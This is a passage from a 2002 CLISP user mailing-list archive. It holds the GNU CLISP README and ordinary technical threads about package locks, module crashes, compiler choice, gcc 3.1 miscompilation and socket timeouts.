DEFUN/DEFMACRO(EDITOR-NAME): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 3. Break EXT[7]> continue ** - Continuable Error DEFUN/DEFMACRO(EDIT-FILE): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 3. Break EXT[8]> continue ** - Continuable Error DEFUN/DEFMACRO(EDITOR-TEMPFILE): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 3. Break EXT[9]> --------------C30BADA17F0EC397842596E1 Content-Type: text/plain; charset=us-ascii; name="README" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="README" This is GNU CLISP, a Common Lisp implementation. What is LISP? ------------- LISP is a programming language. It was invented by J. McCarthy in 1959. There have been many dialects of it, but nowadays LISP has been standardized and wide-spread due to the industrial standard COMMON LISP. There are applications in the domains of symbolic knowledge processing (AI), numerical mathematics (MACLISP yielded numerical code as good as FORTRAN), and widely used programs like editors (EMACS) and CAD (AUTOCAD). There is an introduction to the language: Sheila Hughes: Lisp. Pitman Publishing Limited, London 1986. 107 pages. After a while wou will need the standard text containing the language definition: Guy L. Steele Jr.: Common Lisp - The Language. Digital Press. 1st edition, 1984, 465 pages. 2nd edition, 1990, 1032 pages. This book is available in HTML form via FTP from ftp.cs.cmu.edu:/user/ai/lang/lisp/doc/cltl/cltl_ht.tgz and can be viewed through WWW under http://www.cs.cmu.edu:8001/Web/Groups/AI/html/cltl/cltl2.html or http://www.cs.cmu.edu:8001/afs/cs/project/ai-repository/ai/html/cltl/cltl2.html . For experts: This standard text has emerged into an ANSI standard, which you can get free of charge from http://www.lisp.org/HyperSpec/FrontMatter/ LISP is run in an interactive environment. You input forms, and they will be evaluated at once. Thus you can inspect variables, call functions with given arguments or define your own functions. Contents: --------- It consists of the following files: base/lisp.a main program, to be linked base/lispinit.mem memory image needed for startup doc/clisp.1 manual page in Unix man format doc/clisp.man manual page doc/clisp.html manual page in HTML format doc/impnotes.html implementation notes doc/LISP-tutorial.txt LISP tutorial for beginners doc/CLOS-guide.txt brief guide to CLOS README this text SUMMARY short description of CLISP ANNOUNCE announcement NEWS list of modifications since the last version COPYRIGHT copyright notice GNU-GPL free software license doc/editors.txt survey of editors with Lisp support emacs/*.el Emacs customization, see doc/editors.txt src/clisp.c source of driver program src/config.lisp site-dependent configuration and - to your convenience, if you like reading source - src/*.lisp the source of lispinit.mem src/*.fas the same files, already compiled Installation: ------------- Type make Change the strings in src/config.lisp, using a text editor. Then start base/lisp.run -M base/lispinit.mem When the LISP prompt > _ appears, type (compile-file "src/config.lisp") (load "src/config.fas") and then (cd "base/") (saveinitmem) to overwrite the file lispinit.mem with your configuration. Then (exit) The rest is done by a simple make install Instead, you may do this yourself, step by step: Then create a directory, and put the executable and the memory image there. I would suggest /usr/local/lib/lisp : mkdir /usr/local/lib/lisp mv base/lisp.run /usr/local/lib/lisp mv base/lispinit.mem /usr/local/lib/lisp And create the driver program that starts lisp: ./hardcode -DLISPLIBDIR='/usr/local/lib/lisp' \ -DLOCALEDIR='/usr/local/share/locale' \ clisp /usr/local/bin/clisp Now install the man page mv doc/clisp.1 /usr/local/man/man1/clisp.1 and try man clisp When you encounter problems: ---------------------------- After errors, you are in the debugger: 1. Break> _ You can evaluate forms, as usual. Furthermore: Help prints help Abort or Unwind climbs up to the next higher input loop Backtrace shows the contents of the stack, helpful for debugging And you can look at the values of the variables of the functions where the error occurred. On bigger problems, e.g. core dumps, please send a description of the error and how to produce it reliably to the authors or the maintainer. Please accompany it with the CLISP version, which you get by calling (lisp-implementation-version), as well as the OS name and version. Sources: -------- The sources of CLISP are available from ftp://clisp.cons.org/pub/lisp/clisp/source/clispsrc* The latest binary distribution of CLISP for Linux has its sources in ftp://sunsite.unc.edu/pub/Linux/devel/lang/lisp/clisp-source.tar.gz Mailing Lists: -------------- There are three mailing lists for users of CLISP. You find subscription information and archives on the homepage http://clisp.cons.org/. Acknowledgement: ---------------- We are indebted to * Guy L. Steele and many others for the Common Lisp specification. * Richard Stallman's GNU project for GCC, Autoconf and the readline library. Authors: -------- Bruno Haible Michael Stoll Email: clisp-list@lists.sourceforge.net Maintainer: ----------- Sam Steingold Email: clisp-list@lists.sourceforge.net --------------C30BADA17F0EC397842596E1-- From dan.stanger@ieee.org Sun May 19 21:17:11 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 179ebf-0005Mq-00 for ; Sun, 19 May 2002 21:17:11 -0700 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #2) id 179ebP-0006GC-00 for clisp-list@lists.sourceforge.net; Sun, 19 May 2002 22:16:55 -0600 Message-ID: <3CE87906.35B872F5@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Number of c functions in a external module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun May 19 21:18:01 2002 X-Original-Date: Sun, 19 May 2002 22:18:15 -0600 Is there some sort of hard limit (around 370 or so) functions in a c module? lisp.run is getting a signal 11, access violation when it tries to dump lispinit.mem after it loads my module. The access violation occurs in package.d, when I add 1 more function, and disappears when I comment it out. Does this sound familiar to anyone? Thanks, Dan Stanger From don-sourceforge@isis.cs3-inc.com Mon May 20 10:03:48 2002 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 179qZX-0006ER-00 for ; Mon, 20 May 2002 10:03:47 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id g4KGsN914100 for clisp-list@lists.sourceforge.net; Mon, 20 May 2002 09:54:23 -0700 Message-Id: <200205201654.g4KGsN914100@isis.cs3-inc.com> X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) To: clisp-list@lists.sourceforge.net Subject: [clisp-list] probe-file on directories ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon May 20 10:04:02 2002 X-Original-Date: Mon, 20 May 2002 09:54:23 -0700 I notice in impnotes it says that this doesn't work. (I also notice it gives an error when I try it.) This seems to me to be incompatible with the CL spec. If so it should be changed. I suppose it's an implementation choice whether this returns a pathname or nil (if you consider a directory to not be a file), but I'd suggest an extra keyword argument to control that choice. Has this been discussed before? If so I must not have been paying attention. From lin8080@freenet.de Mon May 20 10:48:58 2002 Received: from mout1.freenet.de ([194.97.50.132]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 179rHF-0001i5-00 for ; Mon, 20 May 2002 10:48:57 -0700 Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout1.freenet.de with esmtp (Exim 4.04) id 179rHA-0005UK-00 for clisp-list@lists.sourceforge.net; Mon, 20 May 2002 19:48:52 +0200 Received: from a8659.pppool.de ([213.6.134.89] helo=freenet.de) by mx0.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.36 #1) id 179rHA-0003Y6-00 for clisp-list@lists.sourceforge.net; Mon, 20 May 2002 19:48:52 +0200 Message-ID: <3CE7FE89.DC4002B9@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: cygwin Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon May 20 10:49:03 2002 X-Original-Date: Sun, 19 May 2002 21:35:37 +0200 Bruno Haible schrieb: > > Now I read about another compile-method in the "gambit" docs and the > > compiler is Watcom C/C++. > Forget it. Don't waste your time on it. Watcom C is *crap*. There are > many compilers that are not as good as GCC. But none is as crappy as > Watcom C. Thank you. Compiling for me is like a white paper, means till now I do this exactly 3 times (one was msvs4 - did not work, 2 were small profan-tests with a 220k runtime module which worked). (There (is) was also javac.exe - I used this often in 1999-2000 and don't forget the compile-file while installing clisp) - (gcc for c vers. 2.6.3 is available (go32), is this good for work with for beginner like me? On this CD there is also Fortran 77 vers. 95201 (f2c), but only I overfly some readme's (and saw demacs *schauder*)) (oh, tclite, is it a small one?). So you can think, what compilers are in my eyes. (big spanish cities). But this is not the end of this story. I think it takes 3 or 5 years till I know them (all). Meanwhile I study other lisp-dialects, this is big subject of interest (for example I found apollo on the net, this needs to be compiled. And I have now a P75 PC with sco-unix7 running, so let me see... :) as there is the word: and now we come to something completely different - learning does so good). stefan From lin8080@freenet.de Mon May 20 10:49:00 2002 Received: from mout1.freenet.de ([194.97.50.132]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 179rHG-0001i9-00 for ; Mon, 20 May 2002 10:48:59 -0700 Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout1.freenet.de with esmtp (Exim 4.04) id 179rHD-0005Va-00 for clisp-list@lists.sourceforge.net; Mon, 20 May 2002 19:48:55 +0200 Received: from a8659.pppool.de ([213.6.134.89] helo=freenet.de) by mx0.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.36 #1) id 179rHC-0003fD-00 for clisp-list@lists.sourceforge.net; Mon, 20 May 2002 19:48:55 +0200 Message-ID: <3CE80D28.25E7D8D9@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] [clisp-list]what's proc for then? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon May 20 10:49:03 2002 X-Original-Date: Sun, 19 May 2002 22:38:00 +0200 Don Cohen schrieb: > Since the IO I needed could be done with cat > and echo > I just > have clisp use a shell to do those things. > I consider this to be an acceptable solution, though not ideal. > It's still worth while to use clisp to do everything else that has > to figure out what IO to do by these other means. > I have no idea whether my proc files would work with Python, Perl, > etc. I found this on my win-clisp 2.28: [5]> (symbolp 'proc) T [6]> (describe 'proc) PROC is the symbol PROC, lies in #, is accessible in the package COMMON-LISP-USER. # is the package named COMMON-LISP-USER. It has the nicknames CL-USER, USER. It imports the external symbols of the packages COMMON-LISP, EXT and exports no symbols, but no package uses these exports. [7]> (apropos 'proc) SYSTEM::%PROCLAIM-CONSTANT function /PROC SYSTEM::C-PROCLAIM function SYSTEM::C-PROCLAIM-CONSTANT function PROC SYSTEM::PROCESS-DECLARATIONS function SYSTEM::PROCESS-FIXED-VAR-LIST function SYSTEM::PROCESS-MOVABLE-VAR-LIST function PROCLAIM function SYSTEM::PROCLAIMED-SPECIAL-P function [8]> patience *** - EVAL: variable PATIENCE has no value 1. Break [18]> (exit) bye. stefan when it is a short-form of (proclaim) then this should work: (HyperSpec) ... The next figure shows a list of declaration identifiers that can be used with proclaim. (;; the proc, /proc here?) declaration inline optimize type ftype notinline special I find nothing about the PROCESS-~; a glossary line: process v.t. (a form by the compiler) to perform minimal compilation, determining the time of evaluation for a form, and possibly evaluating that form (if required). From darrylo@soco.agilent.com Mon May 20 13:30:18 2002 Received: from msgbas1x.cos.agilent.com ([192.25.240.36] helo=msgbas1.cos.agilent.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 179tnO-0007kJ-00 for ; Mon, 20 May 2002 13:30:18 -0700 Received: from msgrel1.cos.agilent.com (msgrel1.cos.agilent.com [130.29.152.77]) by msgbas1.cos.agilent.com (Postfix) with ESMTP id F4010BAB8 for ; Mon, 20 May 2002 14:30:16 -0600 (MDT) Received: from mina.soco.agilent.com (mina.soco.agilent.com [141.121.54.157]) by msgrel1.cos.agilent.com (Postfix) with ESMTP id A3D0D508 for ; Mon, 20 May 2002 14:30:16 -0600 (MDT) Received: from mina.soco.agilent.com (darrylo@localhost [127.0.0.1]) by mina.soco.agilent.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.1.1_Agilent) with ESMTP id NAA24940 for ; Mon, 20 May 2002 13:30:16 -0700 (PDT) Message-Id: <200205202030.NAA24940@mina.soco.agilent.com> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: cygwin Reply-To: Darryl Okahata In-Reply-To: Your message of "Sat, 18 May 2002 02:33:48 +0200." <15589.41324.836134.193565@honolulu.ilog.fr> Mime-Version: 1.0 (generated by tm-edit 1.7) Content-Type: text/plain; charset=US-ASCII From: Darryl Okahata Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon May 20 13:31:04 2002 X-Original-Date: Mon, 20 May 2002 13:30:14 -0700 Bruno Haible wrote: > > Now I read about another compile-method in the "gambit" docs and the > > compiler is Watcom C/C++. > > Forget it. Don't waste your time on it. Watcom C is *crap*. There are > many compilers that are not as good as GCC. But none is as crappy as > Watcom C. I don't know what Watcom is like now (or if it's even still around), but, 10 years ago, Watcom C blew everything else away -- it was VERY good, and very reliable (IIRC). In the years since then, I've yet to see an i86 compiler that even comes close to the incredibly-efficient code output by the Watcom C compiler (although I have not, admittedly, looked at the output of the Intel one). If you enable argument-passing- via-registers, the generated code is difficult to distinguish from hand-written assembly code. -- Darryl Okahata darrylo@soco.agilent.com DISCLAIMER: this message is the author's personal opinion and does not constitute the support, opinion, or policy of Agilent Technologies, or of the little green men that have been following him all day. From schwartz@bio.cse.psu.edu Mon May 20 22:55:52 2002 Received: from galapagos.cse.psu.edu ([130.203.12.17]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17A2ch-0003wH-00 for ; Mon, 20 May 2002 22:55:51 -0700 Received: (qmail 1829 invoked by uid 991); 21 May 2002 05:55:49 -0000 Message-ID: <20020521055549.1828.qmail@g.bio.cse.psu.edu> From: "Scott Schwartz" To: clisp-list@clisp.cons.org Cc: schwartz@bio.cse.psu.edu Subject: [clisp-list] repl vs batch Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon May 20 22:56:02 2002 X-Original-Date: 21 May 2002 01:55:49 -0400 Hi, The manpage for clisp says that when invoked as "clisp lispfile", there will be no repl. However, in some cases it does try to interact with standard input. When used in a pipeline, that can cause havoc. $ clisp --version CLISP 1999-07-22 (July 1999) $ echo '(defun x () (x)) (x)' >/tmp/t $ clisp /tmp/t *** - Program stack overflow. RESET [1]> Sorry if this refers to an outdated version of the program; it's what Debian-stable is distributing. I noticed the preceeding when just poking around to get a flavor for clisp. -- Scott From Joerg-Cyril.Hoehle@t-systems.com Tue May 21 02:25:40 2002 Received: from gw9.telekom.de ([62.156.152.68] helo=fw9.telekom.de) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17A5sy-0000i1-00 for ; Tue, 21 May 2002 02:24:53 -0700 Received: by fw9.telekom.de; (5.65v4.0/1.3/10May95) id AA05213; Tue, 21 May 2002 11:22:07 +0200 Received: from g8pbq.blf01.telekom.de by G8PXB.blf01.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 21 May 2002 11:22:49 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 21 May 2002 11:21:39 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Number of c functions in a external module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 21 02:26:02 2002 X-Original-Date: Tue, 21 May 2002 11:21:38 +0200 Dan Stanger wrote: > Is there some sort of hard limit (around 370 or so) functions in a c module? No. >lisp.run is getting a signal 11, access violation when it tries to dump >lispinit.mem after it loads my module. Uh oh, sounds like some internal structure is corrupt. And you can do as much Lisp as you want prior to SAVEMEM? E.g. multiple (ext:gc), load large files, etc. >The access violation occurs in package.d, when I add 1 more >function, and disappears when I comment it out. And if you add another one function? >Does this sound familiar to anyone? No. BTW, which version of CLISP are you using? My init_modules patch (past 2.28) fixed some issues w.r.t. module_initialization and some potential uninitialized pathname or encoding variables. Uninitialized variable -> later GC crash, or possibly post GC crash (via old pointers to moved objects). Not much help here, Jorg Hohle. From samuel.steingold@verizon.net Tue May 21 06:44:40 2002 Received: from h005.c001.snv.cp.net ([209.228.32.119] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17A9wN-0002pP-00 for ; Tue, 21 May 2002 06:44:39 -0700 Received: (cpmta 3174 invoked from network); 21 May 2002 06:44:33 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.119) with SMTP; 21 May 2002 06:44:33 -0700 X-Sent: 21 May 2002 13:44:33 GMT To: Karsten Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Should clisp 2.28 work with gcc 3.1 References: <5.1.0.14.0.20020519183619.00a11790@pop3.terra.es> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.0.14.0.20020519183619.00a11790@pop3.terra.es> Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 21 06:45:05 2002 X-Original-Date: 21 May 2002 09:44:32 -0400 > I tried to compile clisp 2.28 (not current cvs) both on cygwin and > redhat 7.1. In both cases building interpreted.mem fails with a segfault. Bruno said on : | FYI: When compiling clisp with gcc-3.1 on i386, with -O2 as usual, gcc | miscompiles 4 source files. It's caused by at least two gcc bugs, one | which occurs at -O2 and one already at -O. | | gcc-3.0.4 compiles clisp fine. please ./configure --with-debug (this disables optimizations) or edit your Makefile yourself. thanks! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux We're too busy mopping the floor to turn off the faucet. From dan.stanger@ieee.org Tue May 21 07:26:48 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17AAbA-0006FR-00 for ; Tue, 21 May 2002 07:26:48 -0700 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #2) id 17AAb6-00077I-00 for clisp-list@lists.sourceforge.net; Tue, 21 May 2002 08:26:45 -0600 Message-ID: <3CEA597B.EA4ADC2D@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] Number of c functions in a external module References: <3CE87906.35B872F5@ieee.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 21 07:27:03 2002 X-Original-Date: Tue, 21 May 2002 08:28:11 -0600 The problem went away after I did a make clean3, and rebuilt. Thanks to all that responded. I put a new copy of my gdi code on my web site, as www.diac.com/~dxs/gdi.tar.gz Dan Stanger Dan Stanger wrote: > Is there some sort of hard limit (around 370 or so) functions in a c > module? > lisp.run is getting a signal 11, access violation when it tries to dump > lispinit.mem > after it loads my module. The access violation occurs in package.d, > when I add 1 more > function, and disappears when I comment it out. Does this sound > familiar to anyone? > Thanks, > Dan Stanger > > _______________________________________________________________ > Hundreds of nodes, one monster rendering program. > Now that's a super model! Visit http://clustering.foundries.sf.net/ > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From lin8080@freenet.de Tue May 21 15:26:41 2002 Received: from mout1.freenet.de ([194.97.50.132]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17AI5X-00057r-00 for ; Tue, 21 May 2002 15:26:39 -0700 Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout1.freenet.de with esmtp (Exim 4.04) id 17AI5T-0003WB-00 for clisp-list@lists.sourceforge.net; Wed, 22 May 2002 00:26:35 +0200 Received: from b758e.pppool.de ([213.7.117.142] helo=freenet.de) by mx0.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.36 #1) id 17AI5S-0006Bv-00 for clisp-list@lists.sourceforge.net; Wed, 22 May 2002 00:26:35 +0200 Message-ID: <3CEAADC8.963901F8@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: [clisp-list] #P" ...config.lisp" does not exist Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 21 15:27:04 2002 X-Original-Date: Tue, 21 May 2002 22:27:52 +0200 > hi, the installation in the README file (which i've attached) > are confusing, and do not seem to work as advertised. > here is what happens when i try to obey the instructions. > am i doing something wrong? Hallo There is some text in the c.l.l - newsgroup. I copy it below. May be it helps (it is not the same problem you have). stefan ...................[copy]....................... Betreff: Re: I apologize ahead if this is an easy question, new to LISP Datum: Sat, 18 May 2002 02:19:15 GMT Von: "Joe Marshall" Firma: ATT Broadband Foren: comp.lang.lisp Referenzen: 1 , 2 "Chichen710" wrote in message news:20020517211950.17626.00000351@mb-cr.aol.com... > ** - Continuable Error > INTERN("DOMATH"): # is locked > If you continue (by typing 'continue'): Ignore the lock and proceed > 1. Break [3]> .......... It looks as if the default package at the prompt is the "EXT" package. (It shouldn't be, but it is.) If you type (setq *package* (find-package "COMMON-LISP-USER")) at the very first prompt, it should work. It is unusual that *package* would be set incorrectly upon startup. It would indicate a mis-configured setup. Are any errors or warnings printed when you start? .................[other copy]................. The reason you are getting this error is because the current package is the "EXT" package, and that package is `locked' so that you don't accidentally wipe out the lisp system (the "EXT" package is a system package). .................[end-copy]................... From samuel.steingold@verizon.net Thu May 23 13:27:05 2002 Received: from h000.c001.snv.cp.net ([209.228.32.114] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17AzAt-0001as-00 for ; Thu, 23 May 2002 13:27:03 -0700 Received: (cpmta 23868 invoked from network); 23 May 2002 13:26:56 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.114) with SMTP; 23 May 2002 13:26:56 -0700 X-Sent: 23 May 2002 20:26:56 GMT To: dan.stanger@ieee.org Cc: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] cparse References: <3CAA6BE0.3156DC49@ieee.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3CAA6BE0.3156DC49@ieee.org> Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 23 13:28:01 2002 X-Original-Date: 23 May 2002 16:26:55 -0400 > * In message <3CAA6BE0.3156DC49@ieee.org> > * On the subject of "[clisp-list] cparse" > * Sent on Tue, 02 Apr 2002 19:41:36 -0700 > * Honorable Dan Stanger writes: > > I have made a first pass at getting cparse running on clisp. Cparse > is Tim Moore's program that parses c headers, and generates cmucl and > now clisp lisp code to call the c functions. I would appreciate any > testing that could be done with this on clisp, I have used it to parse > windows.h, the cygwin windows header file. Dan Stanger where is your version? I would like to distribute it with CLISP. do you mind? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux If I had known that it was harmless, I would have killed it myself. From ignotus-dated-1022610807.c582d1@my.gnus.org Fri May 24 11:35:01 2002 Received: from pompom.freestart.hu ([213.197.64.6]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17BJtz-00010G-00 for ; Fri, 24 May 2002 11:34:59 -0700 Received: from line-69-225.dial.freestart.hu ([213.197.69.225] helo=agony ident=mail) by freestart.hu with esmtp (Freestart relay 1 (FS-Lin)) id 17BJsB-0005H0-00 for ; Fri, 24 May 2002 20:33:10 +0200 Received: from ignotus by agony with local (Exim 3.35 #1 (Debian)) id 17BJtY-00013M-00 for ; Fri, 24 May 2002 20:34:32 +0200 To: clisp-list@lists.sourceforge.net From: ignotus-dated-1022610807.c582d1@my.gnus.org Organization: I've got to get these SNACK CAKES to NEWARK by DAWN!! Message-ID: <87elg1l7ih.fsf@my.gnus.org> Lines: 18 User-Agent: Gnus/5.090006 (Oort Gnus v0.06) XEmacs/21.4 (Common Lisp, i386-debian-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanner: exiscan by Freestart Subject: [clisp-list] socket-connect's timeout Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 24 11:36:01 2002 X-Original-Date: Fri, 24 May 2002 20:34:30 +0200 Hello! I've got a little problem with sockets. When I use socket:socket-connect and the site I want to connect to is down or non-existent it takes a forever till my program can continue. I think a solution would be for me if I could specify a timeout to socket-connect. Is that a missing feature or am I off the track? (I don't have experience in socket programming in any other language so it's possible I'm missing something obvious here.) How can I solve this situation? Thanks in advance. -- ignotus Microsoft -- programs so large they have weather From samuel.steingold@verizon.net Fri May 24 12:20:36 2002 Received: from h005.c001.snv.cp.net ([209.228.32.119] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17BKc7-0004nu-00 for ; Fri, 24 May 2002 12:20:35 -0700 Received: (cpmta 27381 invoked from network); 24 May 2002 12:20:28 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.119) with SMTP; 24 May 2002 12:20:28 -0700 X-Sent: 24 May 2002 19:20:28 GMT To: ignotus-dated-1022610807.c582d1@my.gnus.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-connect's timeout References: <87elg1l7ih.fsf@my.gnus.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87elg1l7ih.fsf@my.gnus.org> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 